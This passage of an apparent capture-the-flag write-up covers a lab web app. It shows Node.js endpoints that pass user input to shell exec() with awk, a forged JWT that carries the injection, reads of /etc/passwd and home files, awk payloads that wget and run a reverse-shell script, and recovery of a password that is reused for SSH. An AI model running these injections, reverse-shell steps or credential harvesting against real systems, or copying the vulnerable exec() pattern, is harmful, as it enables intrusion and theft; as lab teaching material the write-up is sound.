          <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">200</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="nx">http_err</span><span class="p">.</span><span class="nx">data</span><span class="p">)</span>
          <span class="p">})</span>
  <span class="p">})</span>
</code></pre></div>        </div>
      </li>
      <li><strong>Submit Leave (<code class="language-html highlighter-rouge">/api/submit-leave</code>)</strong> - Submit a new leave request for the logged in user.
        <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">app</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/api/submit-leave</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
      <span class="kd">const</span> <span class="p">{</span><span class="nx">reason</span><span class="p">,</span> <span class="nx">start</span><span class="p">,</span> <span class="nx">end</span><span class="p">}</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span>
      <span class="kd">const</span> <span class="nx">user_token</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">cookies</span><span class="p">.</span><span class="nx">token</span>
      <span class="kd">var</span> <span class="nx">authFailed</span> <span class="o">=</span> <span class="kc">false</span>
      <span class="kd">var</span> <span class="nx">user</span> <span class="o">=</span> <span class="kc">null</span>
      <span class="k">if</span><span class="p">(</span><span class="nx">user_token</span><span class="p">)</span> <span class="p">{</span>
          <span class="kd">const</span> <span class="nx">decodedToken</span> <span class="o">=</span> <span class="nx">jwt</span><span class="p">.</span><span class="nx">verify</span><span class="p">(</span><span class="nx">user_token</span><span class="p">,</span> <span class="nx">TOKEN_SECRET</span><span class="p">)</span>
          <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">decodedToken</span><span class="p">.</span><span class="nx">username</span><span class="p">)</span> <span class="p">{</span>
              <span class="nx">authFailed</span> <span class="o">=</span> <span class="kc">true</span>
          <span class="p">}</span>
          <span class="k">else</span> <span class="p">{</span>
              <span class="nx">user</span> <span class="o">=</span> <span class="nx">decodedToken</span><span class="p">.</span><span class="nx">username</span>
          <span class="p">}</span>
      <span class="p">}</span>
      <span class="k">if</span><span class="p">(</span><span class="nx">authFailed</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">401</span><span class="p">).</span><span class="nx">json</span><span class="p">({</span><span class="na">Error</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Invalid Token</span><span class="dl">"</span><span class="p">})</span>
      <span class="p">}</span>
      <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">user</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">500</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">Invalid user</span><span class="dl">"</span><span class="p">)</span>
      <span class="p">}</span>
      <span class="kd">const</span> <span class="nx">bad</span> <span class="o">=</span> <span class="p">[</span><span class="dl">"</span><span class="s2">;</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">&amp;</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">|</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">&gt;</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">&lt;</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">*</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">?</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">`</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">$</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">(</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">)</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">{</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">}</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">[</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">]</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">!</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">#</span><span class="dl">"</span><span class="p">]</span>

      <span class="kd">const</span> <span class="nx">badInUser</span> <span class="o">=</span> <span class="nx">bad</span><span class="p">.</span><span class="nx">some</span><span class="p">(</span><span class="nx">char</span> <span class="o">=&gt;</span> <span class="nx">user</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">char</span><span class="p">));</span>
      <span class="kd">const</span> <span class="nx">badInReason</span> <span class="o">=</span> <span class="nx">bad</span><span class="p">.</span><span class="nx">some</span><span class="p">(</span><span class="nx">char</span> <span class="o">=&gt;</span> <span class="nx">reason</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">char</span><span class="p">));</span>
      <span class="kd">const</span> <span class="nx">badInStart</span> <span class="o">=</span> <span class="nx">bad</span><span class="p">.</span><span class="nx">some</span><span class="p">(</span><span class="nx">char</span> <span class="o">=&gt;</span> <span class="nx">start</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">char</span><span class="p">));</span>
      <span class="kd">const</span> <span class="nx">badInEnd</span> <span class="o">=</span> <span class="nx">bad</span><span class="p">.</span><span class="nx">some</span><span class="p">(</span><span class="nx">char</span> <span class="o">=&gt;</span> <span class="nx">end</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">char</span><span class="p">));</span>

      <span class="k">if</span><span class="p">(</span><span class="nx">badInUser</span> <span class="o">||</span> <span class="nx">badInReason</span> <span class="o">||</span> <span class="nx">badInStart</span> <span class="o">||</span> <span class="nx">badInEnd</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">500</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">Bad character detected.</span><span class="dl">"</span><span class="p">)</span>
      <span class="p">}</span>

      <span class="kd">const</span> <span class="nx">finalEntry</span> <span class="o">=</span> <span class="nx">user</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">,</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">reason</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">,</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">start</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">,</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">end</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">,Pending</span><span class="se">\r</span><span class="dl">"</span>

      <span class="nx">exec</span><span class="p">(</span><span class="s2">`echo "</span><span class="p">${</span><span class="nx">finalEntry</span><span class="p">}</span><span class="s2">" &gt;&gt; /var/www/private/leave_requests.csv`</span><span class="p">,</span> <span class="p">(</span><span class="nx">error</span><span class="p">,</span> <span class="nx">stdout</span><span class="p">,</span> <span class="nx">stderr</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
          <span class="k">if</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">500</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">Failed to add leave request</span><span class="dl">"</span><span class="p">)</span>
          <span class="p">}</span>
          <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">200</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">Successfully added new leave request</span><span class="dl">"</span><span class="p">)</span>
      <span class="p">})</span>
  <span class="p">})</span>
</code></pre></div>        </div>
      </li>
      <li><strong>All Leave (<code class="language-html highlighter-rouge">/api/all-leave</code>)</strong> - Retrieve the leave request history for the logged in user.
        <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/api/all-leave</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
      <span class="kd">const</span> <span class="nx">user_token</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">cookies</span><span class="p">.</span><span class="nx">token</span>
      <span class="kd">var</span> <span class="nx">authFailed</span> <span class="o">=</span> <span class="kc">false</span>
      <span class="kd">var</span> <span class="nx">user</span> <span class="o">=</span> <span class="kc">null</span>
      <span class="k">if</span><span class="p">(</span><span class="nx">user_token</span><span class="p">)</span> <span class="p">{</span>
          <span class="kd">const</span> <span class="nx">decodedToken</span> <span class="o">=</span> <span class="nx">jwt</span><span class="p">.</span><span class="nx">verify</span><span class="p">(</span><span class="nx">user_token</span><span class="p">,</span> <span class="nx">TOKEN_SECRET</span><span class="p">)</span>
          <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">decodedToken</span><span class="p">.</span><span class="nx">username</span><span class="p">)</span> <span class="p">{</span>
              <span class="nx">authFailed</span> <span class="o">=</span> <span class="kc">true</span>
          <span class="p">}</span>
          <span class="k">else</span> <span class="p">{</span>
              <span class="nx">user</span> <span class="o">=</span> <span class="nx">decodedToken</span><span class="p">.</span><span class="nx">username</span>
          <span class="p">}</span>
      <span class="p">}</span>
      <span class="k">if</span><span class="p">(</span><span class="nx">authFailed</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">401</span><span class="p">).</span><span class="nx">json</span><span class="p">({</span><span class="na">Error</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Invalid Token</span><span class="dl">"</span><span class="p">})</span>
      <span class="p">}</span>
      <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">user</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">500</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">Invalid user</span><span class="dl">"</span><span class="p">)</span>
      <span class="p">}</span>
      <span class="kd">const</span> <span class="nx">bad</span> <span class="o">=</span> <span class="p">[</span><span class="dl">"</span><span class="s2">;</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">&amp;</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">|</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">&gt;</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">&lt;</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">*</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">?</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">`</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">$</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">(</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">)</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">{</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">}</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">[</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">]</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">!</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">#</span><span class="dl">"</span><span class="p">]</span>

      <span class="kd">const</span> <span class="nx">badInUser</span> <span class="o">=</span> <span class="nx">bad</span><span class="p">.</span><span class="nx">some</span><span class="p">(</span><span class="nx">char</span> <span class="o">=&gt;</span> <span class="nx">user</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">char</span><span class="p">));</span>

      <span class="k">if</span><span class="p">(</span><span class="nx">badInUser</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">500</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">Bad character detected.</span><span class="dl">"</span><span class="p">)</span>
      <span class="p">}</span>

      <span class="nx">exec</span><span class="p">(</span><span class="dl">"</span><span class="s2">awk '/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">user</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/' /var/www/private/leave_requests.csv</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span><span class="na">encoding</span><span class="p">:</span> <span class="dl">'</span><span class="s1">binary</span><span class="dl">'</span><span class="p">,</span> <span class="na">maxBuffer</span><span class="p">:</span> <span class="mi">51200000</span><span class="p">},</span> <span class="p">(</span><span class="nx">error</span><span class="p">,</span> <span class="nx">stdout</span><span class="p">,</span> <span class="nx">stderr</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
          <span class="k">if</span><span class="p">(</span><span class="nx">stdout</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">200</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="k">new</span> <span class="nx">Buffer</span><span class="p">(</span><span class="nx">stdout</span><span class="p">,</span> <span class="dl">'</span><span class="s1">binary</span><span class="dl">'</span><span class="p">));</span>
          <span class="p">}</span>
          <span class="k">if</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">500</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">Failed to retrieve leave requests</span><span class="dl">"</span><span class="p">)</span>
          <span class="p">}</span>
          <span class="k">if</span> <span class="p">(</span><span class="nx">stderr</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">500</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">Failed to retrieve leave requests</span><span class="dl">"</span><span class="p">)</span>
          <span class="p">}</span>
      <span class="p">})</span>
  <span class="p">})</span>
</code></pre></div>        </div>
      </li>
    </ul>

    <p><code class="language-html highlighter-rouge">/api/submit-leave</code> and <code class="language-html highlighter-rouge">/api/all-leave</code> contain a command-injection vulnerability but there are many blocked characters</p>

    <p>what is <code class="language-html highlighter-rouge">awk</code>: <a href="https://www.geeksforgeeks.org/awk-command-unixlinux-examples/">https://www.geeksforgeeks.org/awk-command-unixlinux-examples/</a></p>

    <p>the syntax is: <code class="language-html highlighter-rouge">awk options 'selection _criteria {action }' input-file &gt; output-file</code></p>

    <p>look at: <a href="https://gtfobins.github.io/gtfobins/awk/">https://gtfobins.github.io/gtfobins/awk/</a> → <code class="language-html highlighter-rouge">awk '//' /etc/passwd</code></p>

    <p>curly braces are very important to obtain a reverse shell:</p>
    <ul>
      <li><code class="language-html highlighter-rouge">/ { print 1 } BEGIN {system("wget localhost:8000/revshell.sh")} /</code><br />→<br /> <code class="language-html highlighter-rouge">awk '// { print 1 } BEGIN {system("wget localhost:8000/revshell.sh")} //' file.txt</code></li>
      <li><code class="language-html highlighter-rouge">/ { print 1 } BEGIN {system("bash revshell.sh")} /</code><br />→<br /><code class="language-html highlighter-rouge">awk '// { print 1 } BEGIN {system("bash revshell.sh")} //' file.txt</code></li>
    </ul>

    <p><br /></p>

    <p>the creator prevented using these characters so I guess it’s not yet time to get a reverse shell, so I just read the files on the file system:<br />
  <code class="language-html highlighter-rouge">/' /etc/passwd '</code><br />→<br /><code class="language-html highlighter-rouge">awk '// ' /etc/passwd '/' /var/www/private/leave_requests.csv</code></p>

    <p>always using the site <a href="https://jwt.io">https://jwt.io</a> I create a token:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  header = {"alg":"HS256","typ":"JWT"}
  payload = {"username":"/' /etc/passwd '","iat":1671016345} #www.epochconverter.com
  signature key = 123beany123
</code></pre></div>    </div>

    <p>I get: <code class="language-html highlighter-rouge">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzEwMTYzNDV9.LWlcpxTk5MgZVyVDa5Ltadtq5iBpMyX2cMA_CZjr6EE</code></p>

    <p>I set the token value and do an HTTP GET to <a href="http://hat-valley.htb/api/all-leave"><code class="language-html highlighter-rouge">http://hat-valley.htb/api/all-leave</code></a></p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/usr/sbin/nologin
  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
  systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
  messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
  systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
  syslog:x:104:111::/home/syslog:/usr/sbin/nologin
  _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
  tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
  uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin
  systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
  tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin
  avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
  usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
  dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
  kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
  avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
  cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
  rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
  whoopsie:x:117:124::/nonexistent:/bin/false
  sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
  speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
  nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
  saned:x:121:128::/var/lib/saned:/usr/sbin/nologin
  colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
  geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin
  pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
  gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
  hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false
  gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false
  bean:x:1001:1001:,,,:/home/bean:/bin/bash
  christine:x:1002:1002:,,,:/home/christine:/bin/bash
  postfix:x:128:136::/var/spool/postfix:/usr/sbin/nologin
  mysql:x:129:138:MySQL Server,,,:/nonexistent:/bin/false
  sshd:x:130:65534::/run/sshd:/usr/sbin/nologin
  _laurel:x:999:999::/var/log/laurel:/bin/false
</code></pre></div>    </div>

    <p>I try to read notable files:</p>
    <ul>
      <li><code class="language-html highlighter-rouge">/' /var/www/hat-valley.htb/config.js '</code> → <code class="language-html highlighter-rouge">Failed to retrieve leave requests</code> → doesn’t exist or I can’t read</li>
      <li><code class="language-html highlighter-rouge">/' /var/www/hat-valley.htb/config.json '</code> → <code class="language-html highlighter-rouge">Failed to retrieve leave requests</code> → doesn’t exist or I can’t read</li>
      <li><code class="language-html highlighter-rouge">/' /var/www/hat-valley.htb/config/default.json '</code> → <code class="language-html highlighter-rouge">Failed to retrieve leave requests</code> → doesn’t exist or I can’t read
  <br /></li>
      <li><code class="language-html highlighter-rouge">/' /var/www/private/config.js '</code> → <code class="language-html highlighter-rouge">Failed to retrieve leave requests</code> → doesn’t exist or I can’t read</li>
      <li><code class="language-html highlighter-rouge">/' /var/www/private/config.json '</code> → <code class="language-html highlighter-rouge">Failed to retrieve leave requests</code> → doesn’t exist or I can’t read</li>
      <li><code class="language-html highlighter-rouge">/' /var/www/private/config/default.json '</code> → <code class="language-html highlighter-rouge">Failed to retrieve leave requests</code> → doesn’t exist or I can’t read
  <br /></li>
      <li><code class="language-html highlighter-rouge">/' /home/christine/.ssh/id_rsa '</code> → <code class="language-html highlighter-rouge">Failed to retrieve leave requests</code> → doesn’t exist or I can’t read</li>
      <li><code class="language-html highlighter-rouge">/' /home/christine/.bash_history '</code> → <code class="language-html highlighter-rouge">Failed to retrieve leave requests</code> → doesn’t exist or I can’t read</li>
      <li><code class="language-html highlighter-rouge">/' /home/christine/.gitconfig '</code> → <code class="language-html highlighter-rouge">Failed to retrieve leave requests</code> → doesn’t exist or I can’t read</li>
      <li><code class="language-html highlighter-rouge">/' /home/christine/.bashrc '</code> → <code class="language-html highlighter-rouge">Failed to retrieve leave requests</code> → doesn’t exist or I can’t read
  <br /></li>
      <li><code class="language-html highlighter-rouge">/' /home/bean/.ssh/id_rsa '</code> → <code class="language-html highlighter-rouge">Failed to retrieve leave requests</code> → doesn’t exist or I can’t read</li>
      <li><code class="language-html highlighter-rouge">/' /home/bean/.bash_history '</code> → <code class="language-html highlighter-rouge">Failed to retrieve leave requests</code> → doesn’t exist or I can’t read</li>
      <li><code class="language-html highlighter-rouge">/' /home/bean/.gitconfig '</code> → <code class="language-html highlighter-rouge">Failed to retrieve leave requests</code> → doesn’t exist or I can’t read</li>
      <li><code class="language-html highlighter-rouge">/' /home/bean/.bashrc '</code> → I can read it</li>
    </ul>

    <p><br /></p>

    <p>this part was quite tedious because I tried dozens of files in the web server without results because I didn’t imagine that I could also enter user’s home relative paths like <code class="language-html highlighter-rouge">bean</code></p>

    <p>the last path was successful and in fact I can read the file:</p>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="c"># ~/.bashrc: executed by bash(1) for non-login shells.</span>
  <span class="c"># see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)</span>
  <span class="c"># for examples</span>

  <span class="c"># ... #</span>

  <span class="c"># custom</span>
  <span class="nb">alias </span><span class="nv">backup_home</span><span class="o">=</span><span class="s1">'/bin/bash /home/bean/Documents/backup_home.sh'</span>

  <span class="c"># ... #</span>
</code></pre></div>    </div>

    <p>I read the file with the same method: <code class="language-html highlighter-rouge">/home/bean/Documents/backup_home.sh</code></p>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="c">#!/bin/bash</span>
  <span class="nb">mkdir</span> /home/bean/Documents/backup_tmp
  <span class="nb">cd</span> /home/bean
  <span class="nb">tar</span> <span class="nt">--exclude</span><span class="o">=</span><span class="s1">'.npm'</span> <span class="nt">--exclude</span><span class="o">=</span><span class="s1">'.cache'</span> <span class="nt">--exclude</span><span class="o">=</span><span class="s1">'.vscode'</span> <span class="nt">-czvf</span> /home/bean/Documents/backup_tmp/bean_backup.tar.gz <span class="nb">.</span>
  <span class="nb">date</span> <span class="o">&gt;</span> /home/bean/Documents/backup_tmp/time.txt
  <span class="nb">cd</span> /home/bean/Documents/backup_tmp
  <span class="nb">tar</span> <span class="nt">-czvf</span> /home/bean/Documents/backup/bean_backup_final.tar.gz <span class="nb">.</span>
  <span class="nb">rm</span> <span class="nt">-r</span> /home/bean/Documents/backup_tmp
</code></pre></div>    </div>

    <p>I download the file: <code class="language-html highlighter-rouge">/' /home/bean/Documents/backup/bean_backup_final.tar.gz '</code></p>

    <p>the file seems corrupted: <code class="language-html highlighter-rouge">tar xzf bean_backup_final.tar.gz</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  gzip: stdin: unexpected end of file
</code></pre></div>    </div>

    <p>I use then: <code class="language-html highlighter-rouge">gzrecover bean_backup_final.tar.gz</code></p>

    <p>I get: <code class="language-html highlighter-rouge">bean_backup_final.tar.recovered</code></p>

    <p>I extract the content in: <code class="language-html highlighter-rouge">bean_backup_final</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  -rw-r--r-- 1 user user 32344 Sep 15 13:46 bean_backup.tar.gz
  -rw-r--r-- 1 user user    30 Sep 15 13:46 time.txt
</code></pre></div>    </div>

    <p>I extract the content of: <code class="language-html highlighter-rouge">bean_backup.tar.gz</code></p>

    <p>there are so many files, I had to spend some time and analyze them all:</p>
    <ul>
      <li><code class="language-html highlighter-rouge">.ssh</code> → empty</li>
      <li><code class="language-html highlighter-rouge">Desktop</code> → empty</li>
      <li><code class="language-html highlighter-rouge">Documents</code> → <code class="language-html highlighter-rouge">backup  backup_home.sh  backup_tmp</code></li>
      <li><code class="language-html highlighter-rouge">Downloads</code> → empty</li>
      <li><code class="language-html highlighter-rouge">Music</code> → empty</li>
      <li><code class="language-html highlighter-rouge">Pictures</code> → empty</li>
      <li><code class="language-html highlighter-rouge">Public</code> → empty</li>
      <li><code class="language-html highlighter-rouge">snap</code> → <code class="language-html highlighter-rouge">snapd-desktop-integration</code> → <a href="https://snapcraft.io/install/snapd-desktop-integration/ubuntu">https://snapcraft.io/install/snapd-desktop-integration/ubuntu</a> → nothing interesting</li>
      <li><code class="language-html highlighter-rouge">Templates</code> → empty</li>
      <li><code class="language-html highlighter-rouge">Videos</code> → empty</li>
      <li><code class="language-html highlighter-rouge">.local</code> → <code class="language-html highlighter-rouge">applications  evolution  flatpak  gnome-settings-daemon  gnome-shell  gvfs-metadata  ibus-table  icc  keyrings  nano  nautilus  recently-used.xbel  session_migration-ubuntu  sounds</code> → nothing interesting</li>
      <li><code class="language-html highlighter-rouge">.config</code>
        <ul>
          <li><code class="language-html highlighter-rouge">autostart</code> → <code class="language-html highlighter-rouge">xpad.desktop</code></li>
          <li><code class="language-html highlighter-rouge">dconf  evolution  gnome-initial-setup-done  goa-1.0  gtk-3.0  ibus  nautilus  pulse  update-notifier  user-dirs.dirs  user-dirs.locale</code> → nothing interesting</li>
          <li><code class="language-html highlighter-rouge">xpad</code> → <code class="language-html highlighter-rouge">content-DS1ZS1  default-style  info-GQ1ZS1</code> → they are sticky notes of <code class="language-html highlighter-rouge">bean</code></li>
        </ul>
      </li>
    </ul>

    <p><br /></p>

    <p>file: <code class="language-html highlighter-rouge">content-DS1ZS1</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  TO DO:
  - Get real hat prices / stock from Christine
  - Implement more secure hashing mechanism for HR system
  - Setup better confirmation message when adding item to cart
  - Add support for item quantity &gt; 1
  - Implement checkout system

  boldHR SYSTEM/bold
  bean.hill
  014mrbeanrules!#P

  https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html

  boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold 
</code></pre></div>    </div>

    <p>I have the System Administrator login: <code class="language-html highlighter-rouge">bean.hill : 014mrbeanrules!#P</code></p>

    <p>as written in the note (<strong>MAKE SURE TO USE THIS EVERYWHERE</strong>) I could try if I can also login with SSH:<br />
  <code class="language-html highlighter-rouge">sshpass -p '014mrbeanrules!#P' ssh bean@10.10.11.185</code></p>

    <p>bingo!</p>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="privesc-bean">Privesc bean</h2>

<ul>
  <li>here’s why the previous reading of the files in the <code class="language-html highlighter-rouge">bean</code> home worked:
    <ul>
      <li><code class="language-html highlighter-rouge">ls -al /home/</code>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  drwxr-xr-x 17 bean      bean      4096 Oct  6 01:35 bean
  drwxr-x---  2 christine christine 4096 Sep 15 21:39 christine
</code></pre></div>        </div>
      </li>
      <li><code class="language-html highlighter-rouge">ls -al /home/bean/</code>
